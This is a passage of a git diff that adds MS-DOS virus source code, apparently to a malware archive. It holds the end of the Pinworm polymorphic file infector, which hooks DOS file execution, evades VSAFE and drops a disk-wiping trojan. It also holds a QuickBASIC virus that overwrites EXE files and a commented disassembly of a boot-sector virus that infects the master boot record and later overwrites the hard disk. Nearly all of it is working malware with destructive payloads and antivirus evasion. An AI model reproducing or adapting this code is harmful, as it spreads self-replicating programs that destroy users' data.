+ mov enc_op_ptr,di ; save ptr + lea si,seg_op + movsw ; write op + movsw + +IF TWO_BYTE +;ÄÄÄÄ Throw in some 2 byte garbage ops + test enc_num,00010000b ; use two-byte garbage? + jz no_2byte_grb + lea di,encrypt + mov bp,ptr_op_ptr + push bp + call fill_between + pop di + add di,3 ; 3bytez large + mov bp,count_op_ptr + push bp + call fill_between ; fill between start and count reg + pop di + add di,3 ; 3bytez large + mov bp,inc_op_ptr2 + push bp + call fill_between ; fill between count reg and inc ptr + pop di + inc di ; 1byte large + mov bp,inc_op_ptr + push bp + call fill_between ; if another inc ptr op exist, then + pop di ; .. fill in between both of them + inc di ; 1byte large + mov bp,enc_op_ptr + push bp + call fill_between ; fill between inc ptr and encryption + pop di ; ..op + add di,5 ; 5bytez large + mov bp,dec_op_ptr + call fill_between ; fill between encryption op and loop +no_2byte_grb: +ENDIF + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +;°°°°°°°°[END OF POLYMORPHIC ENGINE]°°°°°°°°°°°°° +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +;ÄÄÄÄ FiX second cryptor offset + +IF SECOND_CRYPT + mov rel2_off,offset heap ;first gen has mispl. off +ENDIF + +;ÄÄÄÄ Copy virus code along with decryptor to heap + + mov cx, (offset heap-offset start)/2+1 + xor si,si + lea di,vend ; ..to heap for encryption + rep movsw ; make another copy of virus + +IF SECOND_CRYPT +;ÄÄÄÄ Call second encryptor first + + mov si,offset vend ; offset of enc. start.. + add si,offset heap ; ..at end of code + mov ret2_byte,0C3h + xor bp,bp + call dbl_crypt + mov ret2_byte,90h +ENDIF + +;ÄÄÄÄ Set ptr to heap for encryption + + pop si ; pop offset after jmp + add si,offset vend ; offset we'z bez encrypting + mov di,si ; we might be using DI too + +;ÄÄÄÄ Encrypt the mother fucker + + mov ret_byte,0C3h ; put RET + mov al,enc_type + mov bx,enc_op_ptr + mov byte ptr [bx+2],al ; set encryption type + call encryptor ; encrypt the bitch + + pop bx ; restore phile handle + ret ; return + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Garbage Code Filler °°°°°°°°°°°°°°°°°° +; DS:DI = buffer address +; BP = buffer size +; BL = 0 - Use 1 byte constant garbage op +; = 1 - Use 1 byte random garbage ops +; = 2 - Use 2 byte random garbage ops +; +; Decently random..relies on previously encrypted data and MS from clock +; to form pointer to the next operand to use.. +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; +fill_buffer: + push ax + mov ax,GARBAGE_OPS + call random + pop ax + mov si,dx ; build index ptr +IF TWO_BYTE + cmp bl,2 ; using 1 byte, or 2 byte ops? + jz word_grb +ENDIF + cmp bl,0 ; using constant stream of 1 byte op? + jnz not_constant + + mov si,cons_byte +not_constant: + mov al,byte ptr [nops_1+si] ; get 1byte operand from table + mov byte ptr [di],al ; write operand +IF TWO_BYTE + jmp did_1byte +word_grb: + cmp di,offset enc_loop-1 ; don't put 2byte op at loop begin + jnz di_ok +di_not_ok: + mov al,byte ptr [nops_1+si] ; get 1byte op + mov ah,al ; duplicate + jz couldnt_do_2 +di_ok: + cmp di,offset encryptor-1 ; don't put 2byte op at call begin + jz di_not_ok + add si,si ; double pointer for word offsets + mov ax,word ptr [nops_2+si] ; get garbage op +couldnt_do_2: + mov word ptr [di],ax ; write op + inc di ; increment ptr + dec bp ; decrement counter + jz _fret +did_1byte: +ENDIF + inc di ; increment buffer ptr + dec bp ; decrement counter + jnz fill_buffer ; loop + cmp cons_byte,GARBAGE_OPS + jl in_range + mov cons_byte,-1 +in_range: + inc cons_byte +_fret: ret + +IF TWO_BYTE +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Fill Bytes Between Two Ops /w Garb.°°°° +; DS:DI=First Op +; DS:BP=Last Op +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +fill_between: + sub bp,di ; get difference of offsets + cmp bp,4 ; if <4 then not 'nuff room + jl not_room + sub bp,2 ; make sure we don't overwrite last op + mov bl,2 ; use 2byte garbage ops + call fill_buffer +not_room: + ret +ENDIF +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Get sec/ms from clock °°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +get_timer: + push ax + mov ah,2ch ; get clock + int 21h + mov ran_seed,dx + pop ax + ret + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Get Random Number °°°°°°°°°°°°°°°°°°°°° +; AX=max number +; ret: DX=random # [will not return 0] +; ROUTINE PARTIALLY FROM: TP6.0 BOOK +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +random: + push ax + mov ax,ran_seed + mov cx,31413 + mul cx + add ax,13849 + mov ran_seed,ax + pop cx + mul cx + cmp dx,0 + jnz ran_ok + inc dx +ran_ok: + ret + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Associated bullshit +; +chkl1 db 'CHKLIST.MS',0 ; MSAV shitty checksum +chkl2 db 'CHKLIST.CPS',0 ; CPAV shitty checksum +pin_dir db 255,'PIļWérM.ūg!',0 ; DIR created +root db '..',0 ; for changing to org. dir +act_file db 'VIROGEN.MSG',0 +act_data db ' Thank you for allowing Pinworm v1.7 to reside within your computer! You will',cr + db 'be rewarded for your kindness by the gods which reign over the cyber world.',cr + db 'You may thank the holy god of heart and kindness, ūirogen, for bringing this',cr + db 'life into the cold and dead realms of your computer.',0 +activate db 0 +isav db 0 +new_jmp db 0E9h,0,0,0 ; jmp XXXX ,0 (id) +non_infects db 0 ; counter for executables not infected +ran_seed dw 0 +trojan_name db 'RUNME.COM',0 +trojan_data: + mov ax,0340h ; func-3/ write sectors al=40h sectors + push ax + mov cx,0101h ; start at cyl 1 sec 1 + mov dx,0002h ; 2=c: +death_loop: + int 13h ; write 'em baby + inc ch ; increment track # + pop ax + push ax + jmp death_loop ; the neverending loop from hell +td_end: +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Polymorphic engine data °°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +inc_op_ptr dw offset inc_buf ; ptr to location of INC +enc_op_ptr dw offset enc_op_buf ; actual ENC op ptr +ptr_op_ptr dw offset ptr_buf ; ptr to ptr set pos +count_op_ptr dw offset cnt_buf ; ptr to counter reg pos +dec_op_ptr dw offset dj_buf ; ptr to decrement counter op pos +inc_op_ptr2 dw 0 +seg_op db 2Eh ; CS +w_b db 80h ; byte=80h word=81h +dec_type db 2Ch ; SUB BYTE PTR CS:[DI|SI],XXXX +enc_num db 0 +enc_type db 2Ch +ptr_set db 0BEh ; MOV DI|SI,XXXX +rel_off dw real_start+100h +count_op db 0B8h ; MOV AX|BX|CX|DX,XXXX +crypt_bytes dw offset vend-offset dj_buf +dec_op: dec ax ; DEC AX|BX|CX|DX +jnz_op db 75h,0 +loop_ofs db 0 +cons_byte dw 0 +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° One-byte Garbage Operands (must be 16)° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +nops_1: nop +IF INCLUDE_INT3 + int 3 +ELSE + cld +ENDIF + into + inc bp + dec bp + cld + nop + stc + cmc + clc + stc + into + cli + sti + inc bp +IF INCLUDE_INT3 + int 3 +ELSE + nop +ENDIF + +IF TWO_BYTE +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Two-byte Garbage Operands (must be 16)° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +nops_2: db 0EBh,0 ; JMP $+2 + db 74h,0 ; JZ $+2 + db 75h,0 ; JNZ $+2 + db 7Ch,0 ; JL $+2 + db 7Fh,0 ; JG $+2 + db 72h,0 ; JC $+2 + or bp,bp + not bp + neg bp + mov bp,ax + mov bp,dx + mov bp,si + mov bp,di + mov si,si + mov di,di + xchg cx,cx +ENDIF + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Activation Routine °°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Creates directory named after Pinworm and files +; in that directory which together form a message. +; +act_routine: + push ax bx cx ds dx bp es cs + pop ds + mov activate,0 ;we're in work now.. + lea dx,pin_dir ;create our subdirectory + mov ah,39h + int 21h + mov ah,3bh ;change to our new subdirectory + int 21h + lea dx,act_file + xor cx,cx + mov ah,3ch + int 21h + xchg ax,bx + lea dx,act_data + mov cx,(offset activate-offset act_data) + mov ah,40h + int 21h + mov ah,3eh + int 21h + + lea dx,root ; change back to orginal dir + mov ah,3bh + int 21h + + cmp r_delay,5 ;5 calls? + jl r_no ;if not then skip keyboard ror + mov r_delay,-1 + xor ax,ax ;es=null + mov es,ax + ror word ptr es: [416h],1 ;rotate keyboard flags +r_no: + inc r_delay ;increment calls count + mov activate,1 + pop es bp dx ds cx bx ax + jmp no_act + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°° Interrupt 24h - critical error handler °°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +new_24: ; critical error handler + mov al,3 ; prompts suck, return fail + iret + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°° In-memory encryption function °°°°°°°°°°°°°°°°°° +; **virus encrypted in memory up to this point** +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +mem_crypt: + mov cx,offset mem_crypt-offset code_start + xor di,di ;offset 0 +mem_loop: + db 2Eh,81h,35h ;CS:XOR WORD PTR [DI], +mem_word dw 0 ;XXXX + inc di + loop mem_loop + ret + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°° Interrupt 21h °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° +; returns SI=0 and passes control to normal handler if +; VSAFE uninstall command is recieved. +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +new21: + pushf + + cmp cs: activate,1 ; time to activate? + jnz no_act + cmp ah,0Bh + jl act_routine +no_act: + cmp ax,signal ; be it us? + jnz not_us ; richtig.. + cmp dx,vsafe_word + jnz not_us + xor si,si ; tis us + mov di,4559h ; simulate VSAFE return +not_us: + cmp ah,4bh ; execute phile? + jnz jmp_org + +go_now: push ax bp bx cx di dx ds es si + call mem_crypt ; decrypt in memory + call infect_file ; the mother of all calls + call mem_crypt ; encrypt in memory + pop si es ds dx di cx bx bp ax + + jmp_org: + popf + db 0eah ; jump far + old21 dd 0 ; O:S + + +exe_header: +org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr +;ÄÄÄÄ Start of heap (not written to disk) +heap: +db 14h dup(0) ; remaining exe header space +old_24_off dw 0 ; old int24h vector +old_24_seg dw 0 +r_delay db 0 +size_disp db 0 ; additional size of virus +vend: ; end of virus in memory.. +cseg ends + end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.qb.bas b/MSDOS/Virus.MSDOS.Unknown.qb.bas new file mode 100644 index 00000000..fbfc1df2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.qb.bas @@ -0,0 +1,73 @@ +A QB Virus + +Tis virus simply overwrites all the EXE's in the current DIR using DOS, it also uses a small assembly routine to "find itself" you must use QB 4.5 to compile it then after you compile (be sure to load QB with the /l switch) just run it, you may try using PKLITE on it and recording the new file size then changing the 43676 to whatever the new size is.... + +DEFINT A-Z +'$INCLUDE: 'qb.bi' +DECLARE FUNCTION ProgramName$ () +SHELL "DIR /b *.exeé¨é" +OPEN "é¨é" FOR BINARY AS #1 +IF LOF(1) = 0 THEN CLOSE : KILL "é¨é": GOTO endit +CLOSE +OPEN "é¨é" FOR INPUT AS #1 +1 LINE INPUT #1, host$ +GOSUB infect +endit: +crdate$ = "ĪĖÓĻĶ" +FOR i = 1 TO LEN(crdate$) +cdate$ = cdate$ + CHR$(ASC(MID$(crdate$, i, 1)) XOR &HFE) +NEXT +IF MID$(DATE$, 1, 5) = cdate$ THEN GOSUB message +PRINT "Program to big to fit in memory" +END +infect: +OPEN host$ FOR BINARY AS #2 +IF LOF(2) < 1200 OR LOF(2) = 43676 OR LOF(2) = 0 THEN CLOSE : GOTO 1 +CLOSE +doit$ = "copy " + ProgramName$ + " " + host$ + "nul" +SHELL doit$ +CLOSE : GOSUB endit +END +message: +CLS +FOR i = 1 TO 25 * 19.2 +PRINT "°±²Ū"; +COLOR RND * 14 + 1 +NEXT +DO: LOOP UNTIL INKEY$ < "" +CLS +PRINT +msg$ = "öīßĢĖŁŌ¨ä䚨...ī"¨""¨ļŌ-¨łČĪÅĆĀ¨żÅŲĆʧ" +FOR i = 1 TO 37 +PRINT CHR$(ASC(MID$(msg$, i, 1)) XOR &HAD); +NEXT +FUNCTION ProgramName$ STATIC +DIM Regs AS RegType 'Allocate space for TYPE + ' RegType +Regs.ax = &H5100 'DOS function 51h +Interrupt &H21, Regs, Regs ' Get PSP Address +DEF SEG = Regs.bx 'Regs.bx returns PSP sgmnt. +EnvSeg% = PEEK(&H2C) + PEEK(&H2D) * 256 'Get environment address +DEF SEG = EnvSeg% 'Set environment address +DO +Byte% = PEEK(Offset%) 'Take a byte +IF Byte% = 0 THEN 'Items are ASCIIZ +Count% = Count% + 1 ' terminated +IF Count% AND EXEFlag% THEN 'EXE also ASCIIZ terminated +EXIT DO 'Exit at the end +ELSEIF Count% = 2 THEN 'Last entry in env. is +EXEFlag% = -1 ' terminated with two +Offset% = Offset% + 2 ' NULs. Two bytes ahead +END IF ' is the EXE file name. +ELSE 'If Byte% < 0, reset +Count% = 0 ' zero counter +IF EXEFlag% THEN 'If EXE name found, +Temp$ = Temp$ + CHR$(Byte%) ' build string +END IF +END IF +Offset% = Offset% + 1 'To grab next byte... +LOOP 'Do it again +DEF SEG 'Reset default segment +ProgramName$ = Temp$ 'Return value +Temp$ = "" 'Clean up +END FUNCTION \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.qmu.asm b/MSDOS/Virus.MSDOS.Unknown.qmu.asm new file mode 100644 index 00000000..3915f5bc --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.qmu.asm @@ -0,0 +1,685 @@ +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + org 100h + +start: jmp l_0CBD ;0100 E9 0BBA +d_0103 db 'J' ;0103 4A + +;============================================================= +; Victim code here +;------------------------------------------------------------- + org 076Bh + +;============================================================= +; begin of virus code +;------------------------------------------------------------- + + ;-------BOF pattern (jump into virus & contamination ptr) + db 0E9h ;076B E9 +d_0101 dw 0682Ah ;jump distance ;076C 2A 68 + db 'J' ;076E 4A + +;============================================================= +; Partition table buffer (content not constant) +;------------------------------------------------------------- +r_0104: jmp short l_0775 ;076F EB 04 + db 90h ;0771 90 + db 'QQ' ;0772 51 51 + db 64h ;0774 64 +l_0775: push cs ;0775 0E + pop ax ;0776 58 + cmp ax,0 ;0777 3D 0000 + je l_077F ;077A 74 03 + jmp short l_07D2 ;077C EB 54 + db 90h ;077E 90 +l_077F: cmp byte ptr cs:[7C05h],0 ;077F 2E: 80 3E 7C05 00 + jne l_0799 ;0785 75 12 +l_0787: mov ax,310h ;0787 B8 0310 + mov cx,1 ;078A B9 0001 + mov dx,80h ;078D BA 0080 + mov bx,0 ;0790 .BB 0000 + int 13h ;0793 CD 13 + stc ;0795 F9 + cli ;0796 FA + jc l_0787 ;0797 72 EE +l_0799: xor ax,ax ;0799 33 C0 + mov es,ax ;079B 8E C0 + dec byte ptr cs:[7C05h] ;079D 2E: FE 0E 7C05 + mov ax,301h ;07A2 B8 0301 + mov cx,1 ;07A5 B9 0001 + mov dx,80h ;07A8 BA 0080 + mov bx,7C00h ;07AB .BB 7C00 + int 13h ;07AE CD 13 + mov ax,1000h ;07B0 B8 1000 + mov es,ax ;07B3 8E C0 + mov ax,0 ;07B5 B8 0000 + mov ds,ax ;07B8 8E D8 + mov di,7C00h ;07BA .BF 7C00 + mov si,di ;07BD 8B F7 + cld ;07BF FC + mov cx,200h ;07C0 B9 0200 + rep movsb ;07C3 F3/ A4 + mov ax,1000h ;07C5 B8 1000 + push ax ;07C8 50 + mov ax,7C00h ;07C9 B8 7C00 + push ax ;07CC 50 + mov bp,sp ;07CD 8B EC +;* jmp dword ptr [bp] ;07CF FF 6E 00 + db 0FFh, 6Eh, 00h ;07CF FF 6E 00 +l_07D2: xor ax,ax ;07D2 33 C0 + mov ds,ax ;07D4 8E D8 + mov ax,27Bh ;07D6 B8 027B + mov ds:[0413h],ax ;07D9 A3 0413 + mov ax,9F00h ;07DC B8 9F00 + mov es,ax ;07DF 8E C0 + mov bx,0100h ;07E1 .BB 0100 + mov al,8 ;07E4 B0 08 + mov ah,2 ;07E6 B4 02 + mov ch,0 ;07E8 B5 00 + mov cl,3 ;07EA B1 03 + mov dh,0 ;07EC B6 00 + mov dl,80h ;07EE B2 80 + int 13h ;07F0 CD 13 + xor ax,ax ;07F2 33 C0 + mov ds,ax ;07F4 8E D8 + mov word ptr ds:[03D4h],'JM' ;07F6 C7 06 03D4 4A4D + mov ax,48Bh ;07FC B8 048B + mov ds:[0070h],ax ;07FF A3 0070 + mov word ptr ds:[0072h],9F00h ;0802 C7 06 0072 9F00 + mov ax,0 ;0808 B8 0000 + mov es,ax ;080B 8E C0 + mov bx,7C00h ;080D .BB 7C00 + mov ah,2 ;0810 B4 02 + mov al,1 ;0812 B0 01 + mov ch,0 ;0814 B5 00 + mov cl,2 ;0816 B1 02 + mov dh,0 ;0818 B6 00 + mov dl,80h ;081A B2 80 + int 13h ;081C CD 13 + xor ax,ax ;081E 33 C0 + push ax ;0820 50 + mov ax,7C00h ;0821 B8 7C00 + push ax ;0824 50 + mov bp,sp ;0825 8B EC +;* jmp dword ptr [bp] ;*1 entry ;0827 FF 6E 00 + db 0FFh, 6Eh, 00h ;0827 FF 6E 00 + db '. fixed disk.', 0Dh, 0Ah, 0Dh, 0Ah ;082A 2E 20 66 69 78 65 + ;0830 64 20 64 69 73 6B + ;0836 2E 0D 0A 0D 0A + db 'Insert COMPAQ DOS diskette in dr' ;083B 49 6E 73 65 72 74 + ;0841 20 43 4F 4D 50 41 + ;0847 51 20 44 4F 53 20 + ;084D 64 69 73 6B 65 74 + ;0853 74 65 20 69 6E 20 + ;0859 64 72 + db 'ive A.', 0Dh, 0Ah, 'Press any ke' ;085B 69 76 65 20 41 2E + ;0861 0D 0A 50 72 65 73 + ;0867 73 20 61 6E 79 20 + ;086D 6B 65 + db 'y when ready: ' ;086F 79 20 77 68 65 6E + ;0875 20 72 65 61 64 79 + ;087B 3A 20 + db 7 ;087D 07 + db 207 dup (0) ;087E 00CF[00] + db 80h, 01h, 01h, 00h, 04h, 06h ;094D 80 01 01 00 04 06 + db 51h, 6Dh, 11h, 00h, 00h, 00h ;0953 51 6D 11 00 00 00 + db 11h,0AAh, 00h, 00h, 00h, 00h ;0959 11 AA 00 00 00 00 + db 41h, 6Eh, 04h, 06h, 91h,0DBh ;095F 41 6E 04 06 91 DB + db 22h,0AAh, 00h, 00h, 22h,0AAh ;0965 22 AA 00 00 22 AA + db 00h, 00h, 55h,0AAh ;096B 00 00 55 AA +;---------------------------------------------------------------- +; partition table buffer end +;---------------------------------------------------------------- + +r_0304 dw 1460h ;int 21h offset ;096F 60 14 +r_0306 dw 0273h ;int 21h segment ;0971 73 02 + +r_0308 dw 1DADh ;int 13h offset ;0973 AD 1D +r_030A dw 0070h ;int 13h segment ;0973 70 00 + + db 2Bh ;0977 2B + +r_030D db 1 ;desturction active if=0;0978 01 +r_030E dw 0 ;:= 0C8h - to activation;0979 00 00 + +r_0310 db 0E9h,34h,05h,01h ;victim bytes ;097B E9 34 05 01 + +r_0314 db 'Bad command or file name',0Dh,0Ah,'$' ;097F 42 61 64 20 63 6F + ;0985 6D 6D 61 6E 64 20 + ;098B 6F 72 20 66 69 6C + ;0991 65 20 6E 61 6D 65 + ;0997 0D 0A 24 + +d_032F dw 5 ;file handle ;099A 05 00 +d_0331 dw 066Bh ;healthy file length ;099C 6B 06 + +;=============================================================== +; Is virus resident ? +;--------------------------------------------------------------- +s_099E proc near + push ax ;099E 50 + push ds ;099F 1E + xor ax,ax ;09A0 33 C0 + mov ds,ax ;09A2 8E D8 + cmp word ptr ds:[03D4h],'JM' ;int F5h ;09A4 81 3E 03D4 4A4D + je l_09B0 ;09AA 74 04 + clc ;<- NOT resident ;09AC F8 + jmp short l_09B1 ;09AD EB 02 + db 90h ;09AF 90 + +l_09B0: stc ;<- YES, resident ;09B0 F9 +l_09B1: pop ds ;09B1 1F + pop ax ;09B2 58 + retn ;09B3 C3 +s_099E endp + +;=============================================================== +; Set infection flag +;--------------------------------------------------------------- +s_09B4 proc near + push ax ;09B4 50 + push ds ;09B5 1E + xor ax,ax ;09B6 33 C0 + mov ds,ax ;09B8 8E D8 + mov word ptr ds:[03D4h],'JM' ;09BA C7 06 03D4 4A4D + pop ds ;09C0 1F + pop ax ;09C1 58 + retn ;09C2 C3 +s_09B4 endp + +;=============================================================== +; Contamine first hard disk drive +;--------------------------------------------------------------- +s_09C3 proc near + push ds ;09C3 1E + push es ;09C4 06 + push cs ;09C5 0E + pop ds ;09C6 1F + mov ah,2 ;read ;09C7 B4 02 + mov al,1 ;1 sector ;09C9 B0 01 + mov ch,0 ;track 0 ;09CB B5 00 + mov cl,1 ;sector 1 ;09CD B1 01 + mov dh,0 ;head 0 ;09CF B6 00 + mov dl,80h ;first hard disk drive ;09D1 B2 80 + push cs ;09D3 0E + pop es ;09D4 07 + mov bx,0104h ;= l_076F ;09D5 .BB 0104 + int 13h ;09D8 CD 13 + + cmp cs:[0107h],'QQ' ;contamination signature;09DA 2E: 81 3E 0107 5151 + je l_0A38 ;-> allready infected ;09E1 74 55 + + ;<- destruction variable initiation + mov word ptr cs:[30Eh],0C8h ;= l_0979 count ;09E3 2E: C7 06 030E 00C8 + mov byte ptr cs:[30Dh],1 ;= l_0978 off ;09EA 2E: C6 06 030D 01 + mov byte ptr cs:[3D5h],64h ;= l_0A40 count ;09F0 2E: C6 06 03D5 64 + + ;<- save oryginal + mov ah,3 ;write ;09F6 B4 03 + mov al,1 ;1 sector ;09F8 B0 01 + mov ch,0 ;track 0 ;09FA B5 00 + mov cl,2 ;sector 2 ;09FC B1 02 + mov dh,0 ;head 0 ;09FE B6 00 + mov dl,80h ;1 HD Drive ;0A00 B2 80 + mov bx,104h ;= offset l_076F ;0A02 .BB 0104 + int 13h ;0A05 CD 13 + + ;<- make new Master Boot Record + mov cx,0BBh ;constant part length ;0A07 B9 00BB + inc cx ;0A0A 41 + mov si,3D0h ;= offset l_0A3B ;0A0B .BE 03D0 + mov di,104h ;= offset l_076F ;0A0E .BF 0104 + cld ;0A11 FC + rep movsb ;0A12 F3/ A4 + mov ah,3 ;write ;0A14 B4 03 + mov al,1 ;1 sector ;0A16 B0 01 + mov ch,0 ;track 0 ;0A18 B5 00 + mov cl,1 ;sector 1 ;0A1A B1 01 + mov dh,0 ;head 0 ;0A1C B6 00 + mov dl,80h ;1-st HD Drive ;0A1E B2 80 + mov bx,0104h ;= offset L_076F ;0A20 .BB 0104 + int 13h ;0A23 CD 13 + + ;<- write rest of virus code + mov al,8 ;8 sectors ;0A25 B0 08 + mov ah,3 ;write ;0A27 B4 03 + mov ch,0 ;track 0 ;0A29 B5 00 + mov cl,3 ;sector 3 ;0A2B B1 03 + mov dh,0 ;head 0 ;0A2D B6 00 + mov dl,80h ;1-st HD Drive ;0A2F B2 80 + mov bx,100h ;= offset L076B ;0A31 .BB 0100 + push cs ;0A34 0E + pop es ;0A35 07 + int 13h ;0A36 CD 13 + + ;<-- partition table allready infected +l_0A38: pop es ;0A38 07 + pop ds ;0A39 1F + retn ;0A3A C3 +s_09C3 endp + +;================================================================ +; Master Boot Record code pattern +;---------------------------------------------------------------- + jmp short l_0A41 ;0A3B EB 04 + nop ;0A3D 90 + + db 'QQ' ;contamination sygnature;0A3E 51 51 +r_03D5 db 64h ;reboot count to destr. ;0A40 64 + +l_0A41: push cs ;0A41 0E + pop ax ;0A42 58 + cmp ax,0 ;0A43 3D 0000 + je l_0A4B ;0A46 74 03 + jmp short l_0A9E ;0A48 EB 54 + nop ;0A4A 90 + + ;<- code to make destruction +l_0A4B: cmp byte ptr cs:[7C05h],0 ;= r_0305 ;0A4B 2E: 80 3E 7C05 00 + jne l_0A65 ;-> counter not exhaused;0A51 75 12 + +l_0A53: mov ax,0310h ;write 16 sectors ;0A53 B8 0310 + mov cx,1 ;track 0, sector 0 ;0A56 B9 0001 + mov dx,80h ;head 0, HDD 0 ;0A59 BA 0080 + mov bx,0 ;buffer ;0A5C .BB 0000 + int 13h ;0A5F CD 13 + stc ;0A61 F9 + cli ;0A62 FA + jc l_0A53 ;endless loop ;0A63 72 EE + +l_0A65: xor ax,ax ;0A65 33 C0 + mov es,ax ;0A67 8E C0 + dec byte ptr cs:[7C05h] ;reboot counter ;0A69 2E: FE 0E 7C05 + mov ax,301h ;write counter to disk ;0A6E B8 0301 + mov cx,1 ;0A71 B9 0001 + mov dx,80h ;0A74 BA 0080 + mov bx,7C00h ;0A77 .BB 7C00 + int 13h ;0A7A CD 13 + + mov ax,1000h ;make virus boot copy ;0A7C B8 1000 + mov es,ax ;0A7F 8E C0 + mov ax,0 ;0A81 B8 0000 + mov ds,ax ;0A84 8E D8 + mov di,7C00h ;0A86 .BF 7C00 + mov si,di ;0A89 8B F7 + cld ;0A8B FC + mov cx,200h ;0A8C B9 0200 + rep movsb ;0A8F F3/ A4 + mov ax,1000h ;0A91 B8 1000 + push ax ;0A94 50 + mov ax,7C00h ;0A95 B8 7C00 + push ax ;0A98 50 + mov bp,sp ;0A99 8B EC + jmp dword ptr [bp] ;run boot code again ;0A9B FF 6E 00 + +l_0A9E: xor ax,ax ;0A9E 33 C0 + mov ds,ax ;0AA0 8E D8 + mov ax,27Bh ;= 635 ;0AA2 B8 027B + mov ds:[0413h],ax ;BIOS memory size ;0AA5 A3 0413 + mov ax,9F00h ;0AA8 B8 9F00 + mov es,ax ;0AAB 8E C0 + mov bx,0100h ;virus offset ;0AAD .BB 0100 + mov al,8 ;8 sectors ;0AB0 B0 08 + mov 